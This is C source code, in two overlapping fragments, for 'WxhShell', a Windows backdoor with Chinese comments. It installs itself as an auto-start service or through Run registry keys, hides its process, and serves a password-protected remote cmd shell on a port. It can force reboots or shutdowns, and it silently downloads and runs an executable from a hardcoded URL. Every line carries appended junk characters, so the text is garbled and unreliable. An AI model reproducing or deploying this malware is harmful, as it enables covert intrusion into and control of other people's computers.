    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); P#-9{T   
    if(Boot(SHUTDOWN)) y<mmv~=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $;NxO0$  
    else { -q1vB8gjj  
    closesocket(wsh); 5W"&$6vj  
    ExitThread(0); BwtjTwd  
    } ucP}( $  
    break; &LM@_P"T  
    } ,l`4)@{G  
  // 获取shell x95[*[  
  case 's': { t mAj  
    CmdShell(wsh); g a|RW0  
    closesocket(wsh); 3YT>3f!\  
    ExitThread(0); o C0K!{R*  
    break; [=*c8  
  } 's]I:06A  
  // 退出 l H:Y8j  
  case 'x': { WE\@ArY>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?U'c;*O-  
    CloseIt(wsh); pN# \  
    break; zf-)c1$*r  
    } l>K z5re^  
  // 离开 fw aq  
  case 'q': { !f5I.r~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sYnf #'  
    closesocket(wsh); XnC`JO+7M  
    WSACleanup(); 2eErvfC[  
    exit(1); YEfa8'7R  
    break; w@&g9e6E  
        } ph\KTLU  
  } 0>hV?A  
  } F FHk0!3  
dL;C4[(N  
  // 提示信息 %oVoE2T{@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wr+?ul*_  
} oc .H}Eb%Z  
  }  d(PS  
!Ra.DSL  
  return; EfA*w/y  
} dx['7l;I  
y4* }E  
// shell模块句柄 zK.%tx}+=k  
int CmdShell(SOCKET sock) R T/T+Q!  
{ H^y%Bi&^  
STARTUPINFO si; ;/gH6Z?  
ZeroMemory(&si,sizeof(si)); !ceT>i90h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r[; .1,(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F-i`GMWC  
PROCESS_INFORMATION ProcessInfo; H}m%=?y@  
char cmdline[]="cmd"; E}eu]2=nU}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y9W6e "  
  return 0; l)y$c}U  
} t(3<w)r2  
dH4wyd`  
// 自身启动模式 Y rq-(  
int StartFromService(void) a1V+doC  
{ i,HafY  
typedef struct 5!WQ  
{ Y r3h=XY  
  DWORD ExitStatus; 9WN 4eC$  
  DWORD PebBaseAddress; p.{9OrH(4  
  DWORD AffinityMask;  N7%iz+  
  DWORD BasePriority; ,\*PpcU  
  ULONG UniqueProcessId; <>3}<i<[&  
  ULONG InheritedFromUniqueProcessId; eu!B ,  
}   PROCESS_BASIC_INFORMATION; }.md$N_F  
kmHIU}Z  
PROCNTQSIP NtQueryInformationProcess; +EI+@hS  
T}DP35dBzE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r9!jIkILz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'N1_:$z@(  
}yM /z  
  HANDLE             hProcess; +#qW 0g  
  PROCESS_BASIC_INFORMATION pbi; 8@`"ZzM  
JP$@*F@t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sg@)IEg</v  
  if(NULL == hInst ) return 0; 8GpPyG ],e  
_86pbr9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,S"a ,}8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PF$K> d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a<AT;Tc  
o$dnp`E  
  if (!NtQueryInformationProcess) return 0; K/oC+Z;K  
|#<PI9)`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }bj dK  
  if(!hProcess) return 0; ]ZJu  
E]z Td$v6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y$6m|5  
-]8cw#y 0A  
  CloseHandle(hProcess); 29:1crzx~  
`fw:   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )b<-=VR  
if(hProcess==NULL) return 0; r>v_NKS]t  
eq^<5 f  
HMODULE hMod;  ByP  
char procName[255];  Fa  
unsigned long cbNeeded; 34Q;& z\e  
c\2+f7o@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `[T|Ck5  
N}ur0 'J0  
  CloseHandle(hProcess); V6)e Jy  
bWc3a  
if(strstr(procName,"services")) return 1; // 以服务启动 pqaQ%|<  
]Z/<H P$#  
  return 0; // 注册表启动 z#qlu=  
} foh>8/AL/  
&(H;Bin'  
// 主模块 f{ZOH<"Lo  
int StartWxhshell(LPSTR lpCmdLine) 4;G:.k!K  
{ :?1r.n  
  SOCKET wsl; 0Q@ &z  
BOOL val=TRUE; om$x;L6  
  int port=0; EL_rh TWw  
  struct sockaddr_in door; i <KWFF#  
XXuIWIhm  
  if(wscfg.ws_autoins) Install(); dB{o-R  
pJM~'tlHV  
port=atoi(lpCmdLine); &Nf10%J'<  
Tac7+=T  
if(port<=0) port=wscfg.ws_port; /mMRV:pd  
N[$bP)h7  
  WSADATA data; 5LVhq[}mP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d*7nz=0&$  
p(EV-^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )vH6N_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); < C54cO  
  door.sin_family = AF_INET;  QW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;{Cr+lqTJ  
  door.sin_port = htons(port); |eD$eZ=m  
lR5< G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F,2)Udim  
closesocket(wsl); 2qEm,x'S  
return 1; Uloa]X=Im8  
} //C3tW  
Wj2s+L7,  
  if(listen(wsl,2) == INVALID_SOCKET) { F@e9Dz|  
closesocket(wsl); ~T;FOB%w  
return 1; bzFwQi}>  
} O*MC"%T  
  Wxhshell(wsl); BR1oE3in  
  WSACleanup(); l{U-$}  
O 0Fw!IQk  
return 0; W5a)`%H  
I[|5 DQ  
} rCGyr}(NC  
(_^pX  
// 以NT服务方式启动 ~Yrtz   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `<I+(8]Uz  
{ [t^Z2a{  
DWORD   status = 0; 7CfHL;+m<4  
  DWORD   specificError = 0xfffffff; Fb#_(I[aj  
wLeP;u1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NYwE=b~I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Gc=#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .ztO._J7f  
  serviceStatus.dwWin32ExitCode     = 0; ]^HlI4 z  
  serviceStatus.dwServiceSpecificExitCode = 0; hL:n9G  
  serviceStatus.dwCheckPoint       = 0; YJZVi ic  
  serviceStatus.dwWaitHint       = 0; IY$H M3t7  
]IQTf5n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G(7!3a+  
  if (hServiceStatusHandle==0) return; 5a moK7  
yp%7zrU  
status = GetLastError(); lp`raN No  
  if (status!=NO_ERROR) #7S[Ch}O  
{ ZJev_mj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l4c9.'6  
    serviceStatus.dwCheckPoint       = 0; ur\v[k=  
    serviceStatus.dwWaitHint       = 0; Sp+ zP-3  
    serviceStatus.dwWin32ExitCode     = status; D[) Z$+D4f  
    serviceStatus.dwServiceSpecificExitCode = specificError; c`]_Q1'30w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TxZ ^zj  
    return; NUVFG;  
  } P$E#C:=  
`Q d_Gu,M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ha6jbni  
  serviceStatus.dwCheckPoint       = 0; T/NeoU3 p  
  serviceStatus.dwWaitHint       = 0; 0)/L+P5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CR$\$-  
} 1#H=<iJ  
*QAcp` ;*  
// 处理NT服务事件,比如:启动、停止 cPcp@Dp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _97A9wHj  
{ VUF^ r7e  
switch(fdwControl) o#V}l^uU=  
{ Gni<@;}  
case SERVICE_CONTROL_STOP: d` > '<  
  serviceStatus.dwWin32ExitCode = 0; D$|@: mW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8c-r;DE  
  serviceStatus.dwCheckPoint   = 0; <Wgp$qt;  
  serviceStatus.dwWaitHint     = 0; $5XE'm  
  { }EB/18  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BD6oN]  
  } uveby:dh  
  return; U_ j\UQC  
case SERVICE_CONTROL_PAUSE: /]~Oa#SQ:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0zD[mt  
  break; \v(}@zcB|  
case SERVICE_CONTROL_CONTINUE: XW]'by  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $RxS<_tj  
  break; 3ifQKKcR{  
case SERVICE_CONTROL_INTERROGATE: ?Rlo<f:Mf  
  break; @1_M's;  
}; aw z(W >  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s!* m^zx  
} |l)z^V!  
Y%AVC9(  
// 标准应用程序主函数 &S/@i|_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B5'-v%YO+  
{ v8Ga@*  
F91'5D,u0  
// 获取操作系统版本 tOx)t$ix  
OsIsNt=GetOsVer(); |E/r64T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `w@8i[2J  
L;d(|7BVv  
  // 从命令行安装 5;{Q >n  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ke0j8|  
:77dl/d%  
  // 下载执行文件 ]"Y? ZS;H  
if(wscfg.ws_downexe) { yu ~Rk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dtHB@\1  
  WinExec(wscfg.ws_filenam,SW_HIDE); IKT3T_\-I  
} e nsou!l  
iTf]Pd'  
if(!OsIsNt) { S>AM?  
// 如果时win9x,隐藏进程并且设置为注册表启动 k+ Shhe1  
HideProc(); kXw&*B-/  
StartWxhshell(lpCmdLine); "`l8*]z  
} B}n tD  
else Jw;Tq"&  
  if(StartFromService()) V\U,PNkZQ  
  // 以服务方式启动 7noxUGmFw  
  StartServiceCtrlDispatcher(DispatchTable); wxy. &a]  
else pY75S5h:  
  // 普通方式启动 Gt >*y.]  
  StartWxhshell(lpCmdLine); n#F:(MSOp  
E0 ~\ A;  
return 0; g\;&Z  
} !Zf< j  
J]|Zh  
J9+< 9g4-t  
7f!"vhCXM;  
=========================================== i8CO+Iv*{  
4hRc,Vq  
*}mk$bA  
cj=6_k  
/_yJ;l/K  
h B@M5Mc$  
" b#ih= qE  
$\:;N]Cs~0  
#include <stdio.h> BhJag L ^o  
#include <string.h> zQpF, N<b  
#include <windows.h> C t-^-XD  
#include <winsock2.h> g<ZB9;FX %  
#include <winsvc.h> 8R G U^&  
#include <urlmon.h> JL[xrK0  
WS17DsWW  
#pragma comment (lib, "Ws2_32.lib") Y 6B7qp  
#pragma comment (lib, "urlmon.lib") QU&LC  
>"}z % #  
#define MAX_USER   100 // 最大客户端连接数 QLr.5Wcg>  
#define BUF_SOCK   200 // sock buffer AXK6AZjX  
#define KEY_BUFF   255 // 输入 buffer 7RE'KH_$  
IdP"]Sv{<  
#define REBOOT     0   // 重启 F^La\cZ*'  
#define SHUTDOWN   1   // 关机 Jat|n97$  
'Ipp1a Z_M  
#define DEF_PORT   5000 // 监听端口 UBj"m<  
^5{M@o  
#define REG_LEN     16   // 注册表键长度 =t,}I\_^c  
#define SVC_LEN     80   // NT服务名长度 C"X; ,F<  
Cp[{| U-?G  
// 从dll定义API xA?(n!{P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /j}"4_. 8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >ZX&2 {  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _ML`Vh]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @Kl'0>U  
[^rMM1^,OB  
// wxhshell配置信息 (P=q&]l[  
struct WSCFG { h5+L/8+J^z  
  int ws_port;         // 监听端口 ()Cw;N{E  
  char ws_passstr[REG_LEN]; // 口令 v'fX'/  
  int ws_autoins;       // 安装标记, 1=yes 0=no Dht,!LVb;  
  char ws_regname[REG_LEN]; // 注册表键名 `dp]N0nz  
  char ws_svcname[REG_LEN]; // 服务名 YwYCXFQ|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \%=GM J^[p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y5oC|v7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B<et&r;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $7\!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g#??Mz   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .=I:cniw\r  
}{3XbvC  
}; BRSOE U\=  
oQsls9t  
// default Wxhshell configuration Ms * `w5n  
struct WSCFG wscfg={DEF_PORT, !:zWhu,  
    "xuhuanlingzhe", i'6>_,\(  
    1, GxFmw:  
    "Wxhshell", r]6X  
    "Wxhshell", ;";#{B:  
            "WxhShell Service", ^nPk;%`0  
    "Wrsky Windows CmdShell Service", dq.'[  
    "Please Input Your Password: ", #KFpT__F  
  1, 5:" zs  
  "http://www.wrsky.com/wxhshell.exe", mmf}6ABYT  
  "Wxhshell.exe" XkGS3EY  
    }; .YYLMI  
J.t tJOP  
// 消息定义模块 pb`!_GmB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j B.ZF7q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0P?\eoB@8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,p3moD 3  
char *msg_ws_ext="\n\rExit."; `fL81)!jI#  
char *msg_ws_end="\n\rQuit."; R=/^5DZ}  
char *msg_ws_boot="\n\rReboot..."; =&9x}4`;%  
char *msg_ws_poff="\n\rShutdown..."; !%8|R]d  
char *msg_ws_down="\n\rSave to "; @U)k~z2Hk  
jE.yT(+lW  
char *msg_ws_err="\n\rErr!"; q>n0'`q   
char *msg_ws_ok="\n\rOK!"; EKr#i}(x<  
FF}A_ZFY  
char ExeFile[MAX_PATH]; v&#=1Zb  
int nUser = 0; 1G6 %?Iph  
HANDLE handles[MAX_USER]; Ok/U"N-  
int OsIsNt; CcDi65s  
,sk0){rW  
SERVICE_STATUS       serviceStatus; mW+QJ`3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Gdi8Al]\Nl  
ko Tb{UL  
// 函数声明  ~[wh  
int Install(void); JGZxNUr^  
int Uninstall(void); #0F6{&; M  
int DownloadFile(char *sURL, SOCKET wsh);  o(q][:,h  
int Boot(int flag); li`4&<WGC  
void HideProc(void); 3Mlwq'pzD  
int GetOsVer(void); vwc)d{ND  
int Wxhshell(SOCKET wsl); 7y/Pch  
void TalkWithClient(void *cs); fc,^H&  
int CmdShell(SOCKET sock); VK~ OL  
int StartFromService(void); "&@v[O)!xu  
int StartWxhshell(LPSTR lpCmdLine); &OXnZT3P  
)9PP3"I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); eG F{.]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0}:wM':G  
u`j9m @`  
// 数据结构和表定义 8B|qNf `Yi  
SERVICE_TABLE_ENTRY DispatchTable[] = sy s6 V?  
{ "c'K8,+?  
{wscfg.ws_svcname, NTServiceMain}, MT?;9ZV}  
{NULL, NULL} b+6%Mu}o  
}; `H#G/zOr  
~8htg8CZ`  
// 自我安装 (mvzGXNz4  
int Install(void) /8s+eHn&%  
{ 3P&K<M#\  
  char svExeFile[MAX_PATH]; 8'n xc#&  
  HKEY key; Mu~DB:Y9e  
  strcpy(svExeFile,ExeFile); u#>*"4Q  
5Vj t!%?r  
// 如果是win9x系统,修改注册表设为自启动 jcY:a0[{D  
if(!OsIsNt) { YtWO=+rX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \i}:Vb(^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +hW^wqk/.  
  RegCloseKey(key); j/h>G,>T=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z4UJo!{S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'u)zQAaw.  
  RegCloseKey(key); kpQXnDm 2  
  return 0; 7^3a296  
    } E7c!KJ2  
  } SFaG`T=  
} i_KAD U&mP  
else { 4uSC>  
.w@o%AO_  
// 如果是NT以上系统,安装为系统服务 dh; L!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); B0&W wa:  
if (schSCManager!=0) /Ayo78Pi  
{ >E:V7Fa  
  SC_HANDLE schService = CreateService [!Jd.zm  
  ( qa!3lb_'M  
  schSCManager, cc %m0p  
  wscfg.ws_svcname, u ]!ZW&  
  wscfg.ws_svcdisp, yH:gFEJ:x  
  SERVICE_ALL_ACCESS, QsN%a>t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ov@N13 ,$  
  SERVICE_AUTO_START, Sj`GP p  
  SERVICE_ERROR_NORMAL, ;n"Nv }<C  
  svExeFile, $7~T+fmF  
  NULL, ! ,*4d $  
  NULL, 2/coa+Qkv]  
  NULL, (n>gC  
  NULL, F6vN{ FI  
  NULL C@$!'^ 61  
  ); Te:4 z@?  
  if (schService!=0) L]_1z  
  { 1lf 5xm.  
  CloseServiceHandle(schService);  6[{|'  
  CloseServiceHandle(schSCManager); q!sazVaDp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =D@+_7\?  
  strcat(svExeFile,wscfg.ws_svcname); FK2* O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s>VpbJ3S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oU`J~6.&S  
  RegCloseKey(key); l^ Q-KUI  
  return 0; (C=.&',P  
    } ohod)8  
  } ]l~TI8gC  
  CloseServiceHandle(schSCManager); Z%t"~r0PS  
} $^ wqoW%t  
} "G+g(?N]j  
, '_y@9?I  
return 1; Xc!0'P0T  
} Z fQzA}QD  
uq~Z  
// 自我卸载 Vp5i i]B4  
int Uninstall(void) tt=JvI9>  
{ j-% vLL/  
  HKEY key; :zW I"  
>&mNC \PA  
if(!OsIsNt) { =jWcD{;1I}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 63EwV p/|  
  RegDeleteValue(key,wscfg.ws_regname); - %5O:n  
  RegCloseKey(key); 9 K.B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !T<4em8  
  RegDeleteValue(key,wscfg.ws_regname); U<aT%^_  
  RegCloseKey(key); Rx}*I00  
  return 0; >*v P*H:P  
  } 7tEkQZMDI  
} aT[qJbp1  
} -!~ T$}/F  
else { I>(3\z4s  
^)|!nd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]V 4Fm{]  
if (schSCManager!=0) p;P"mp\'  
{ ,'KS:`m!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?c$z?QTMJ  
  if (schService!=0) k /hD2tBLu  
  { Xv~v=.HNhk  
  if(DeleteService(schService)!=0) { L7}dvdtZ0  
  CloseServiceHandle(schService); f <,E  
  CloseServiceHandle(schSCManager); 'DDlX3W-  
  return 0; Tgf#I*(^]  
  }  dkr[B' n  
  CloseServiceHandle(schService); 8H%-/2NW  
  } WFYbmfmV  
  CloseServiceHandle(schSCManager); AxsTB9/  
} 9;L5#/E  
} fs:%L  
wd 4]Z0;  
return 1; jIzkI)WC|  
} K ]  
mw[  
// 从指定url下载文件 HVq02 Z  
int DownloadFile(char *sURL, SOCKET wsh) 6 G^x%s  
{ Rfk8trD B  
  HRESULT hr; O/|,rAE  
char seps[]= "/"; (pU@$H  
char *token; 3 W%Bsqn  
char *file; i$[wkQ>$  
char myURL[MAX_PATH]; wOlnDQs  
char myFILE[MAX_PATH]; i xf~3Y8  
=`1#fQDt  
strcpy(myURL,sURL); 08+cNT  
  token=strtok(myURL,seps); S-4C >gM  
  while(token!=NULL) s.zfiJ  
  { nz?jNdyz  
    file=token; 8n[6BF);  
  token=strtok(NULL,seps); 'pa>;{  
  } W`qiPLk  
8 BHtN  
GetCurrentDirectory(MAX_PATH,myFILE); U)PNY  
strcat(myFILE, "\\"); aLWNqe&1  
strcat(myFILE, file); swfcA\7R  
  send(wsh,myFILE,strlen(myFILE),0); 3Y L  
send(wsh,"...",3,0); Hju7gP=y}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lU}y%J@  
  if(hr==S_OK) GW29Rj1  
return 0; 06Irx^n  
else "L(4 EcO@  
return 1; aT]G&bR?  
;j#(%U]Vp  
} _0v+g1x  
:c vZk|b%  
// 系统电源模块 iPD5 KsAOA  
int Boot(int flag) `Wes!>Vh!  
{ wU9H=w^  
  HANDLE hToken; hZ#ydI|  
  TOKEN_PRIVILEGES tkp; N`G* h^YQ  
1feZ`P ;  
  if(OsIsNt) { {hXIP`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4)cQU.(*k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;x|E}XD  
    tkp.PrivilegeCount = 1; >I~$h,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Nx%]dOa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FE0}V}\=h  
if(flag==REBOOT) { e]1&f.K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z<T(afM{*  
  return 0; <;O -N=  
} n%SR5+N"  
else { 6 aE:v R2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) udEJo~u  
  return 0; wc&`/'<p  
} a-A>A_.  
  } rzR=% >  
  else { C9,|G7~*q  
if(flag==REBOOT) { (O$PJLI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NFVr$?P  
  return 0; XL`*T bx  
} 4P>[]~S  
else { zQ&k$l9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .tg2HKD_lW  
  return 0;  .IO_&^  
} k2"DFXsv  
} c]eDTbXd  
!4"!PrZDB  
return 1; S\,~6]^T  
} %gd {u\h^  
e%Sw(=a  
// win9x进程隐藏模块 4(h19-V  
void HideProc(void) ?yfw3s  
{ \),DW)  
CQ4MQ<BJ.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #:~MtV  
  if ( hKernel != NULL ) '=M4 (h  
  { I 3ZlKI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %![%wI?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N=JZtf/i  
    FreeLibrary(hKernel);  -L.U4x  
  } ![>j`i  
*2? -6  
return; CTNeh%K;  
} dGNg[  
2"'<Yk9  
// 获取操作系统版本 E1=WH-iA0  
int GetOsVer(void) xw>\6VNt  
{ oHW:s96e  
  OSVERSIONINFO winfo; o'Uaz*-po  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ib~n}SA  
  GetVersionEx(&winfo); *VbB'u:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K5h2 ~  
  return 1; aX)k (*|  
  else aJ4y%Gy?  
  return 0; fcim4dfP  
} ^|P/D  
-$x5[6bN  
// 客户端句柄模块 prdlV)LTpY  
int Wxhshell(SOCKET wsl) ]]EOCGZ"  
{ RF#S=X6  
  SOCKET wsh; 6*{sZMG  
  struct sockaddr_in client; P 2j"L#%  
  DWORD myID; 8Hdm(>  
AjW5H*  
  while(nUser<MAX_USER) y<h~jz#hkq  
{ hHu?%f*  
  int nSize=sizeof(client); dr54 D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oB$P6   
  if(wsh==INVALID_SOCKET) return 1; o>#ue<Bc6  
"B$r{ vG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =vpXYj  
if(handles[nUser]==0) ,4OH9 -Q1  
  closesocket(wsh); ]"*sp  
else M<%g)jn_  
  nUser++; f4b`*KGf  
  } snH9@!cG8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 77]6_  
Z [aKic  
  return 0; pZ IDGy=~  
} 3YFbT Z  
^z _m<&r  
// 关闭 socket Cuk!I$  
void CloseIt(SOCKET wsh) 2i4&*& A  
{ g5\EVcHkz  
closesocket(wsh); .?Pghqq.  
nUser--; =B/Ac0Y  
ExitThread(0); )R- e^Cb  
} ) ]y^RrD  
JM& :dzyIP  
// 客户端请求句柄 CY4ntd4M  
void TalkWithClient(void *cs) %xJ6t 5.-  
{ gdx2&~  
/}ADV2sF  
  SOCKET wsh=(SOCKET)cs; A_ftf 7,  
  char pwd[SVC_LEN]; -(Z%?]+  
  char cmd[KEY_BUFF]; T1([P!g*  
char chr[1]; /Cl=;^)  
int i,j; Gy3t   
-Y{=bZS u  
  while (nUser < MAX_USER) { pSPVY2qKX  
(H_YYZ3ZX  
if(wscfg.ws_passstr) { Za>0&Fnf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J/{!_M-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b.4H4LV  
  //ZeroMemory(pwd,KEY_BUFF); {'^!S" 9x  
      i=0; K,$Ro@!  
  while(i<SVC_LEN) { <* vWcCS1  
2H]~X9,z2  
  // 设置超时 HTa]T'  
  fd_set FdRead; fl4z'8P"(  
  struct timeval TimeOut; ij|+MX  
  FD_ZERO(&FdRead); 0o>l+c  
  FD_SET(wsh,&FdRead); f\zu7,GU  
  TimeOut.tv_sec=8; V t[Kr  
  TimeOut.tv_usec=0; s4&JBm(33N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U.kTdNSp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gE}+`w/X  
`nvm>u~[Hq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &y~~Z [.F,  
  pwd=chr[0]; &l<~Xd#  
  if(chr[0]==0xd || chr[0]==0xa) { ($vaj;  
  pwd=0; b14WIgjsl  
  break; >X$I:M<L  
  } `:4bg1u  
  i++; .Jvy0B} B  
    } [3~mil3rO  
0c,)T1NG>  
  // 如果是非法用户,关闭 socket Vi5&%/Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pAY[XN  
} %z_L}L  
R oY"Haa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vr$zYdV>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M#5*gWfq9  
?!{nNJ  
while(1) { ?%]?#4bkc  
mD]^a;U[X  
  ZeroMemory(cmd,KEY_BUFF); 8euh]+  
O\5q_>]  
      // 自动支持客户端 telnet标准   _ l$1@  
  j=0; WNa#X]*E)  
  while(j<KEY_BUFF) { /DC\F5 G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X^% E"{!nU  
  cmd[j]=chr[0]; Aq5@k\[  
  if(chr[0]==0xa || chr[0]==0xd) { %ylpn7I\6  
  cmd[j]=0; m`Dn R`+  
  break; Ev)aXP  
  } {T=rsPp<@  
  j++; )yyS59s  
    } 7k==?,LG3  
J=OWXL!<a  
  // 下载文件 N =0R6{'  
  if(strstr(cmd,"http://")) { H"n@=DMLm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'a6:3*  
  if(DownloadFile(cmd,wsh)) $1ZF kw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &# w~S~  
  else '-?t^@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M?FbBJ`sF  
  } ->0OqVQA  
  else { Ozo)}  
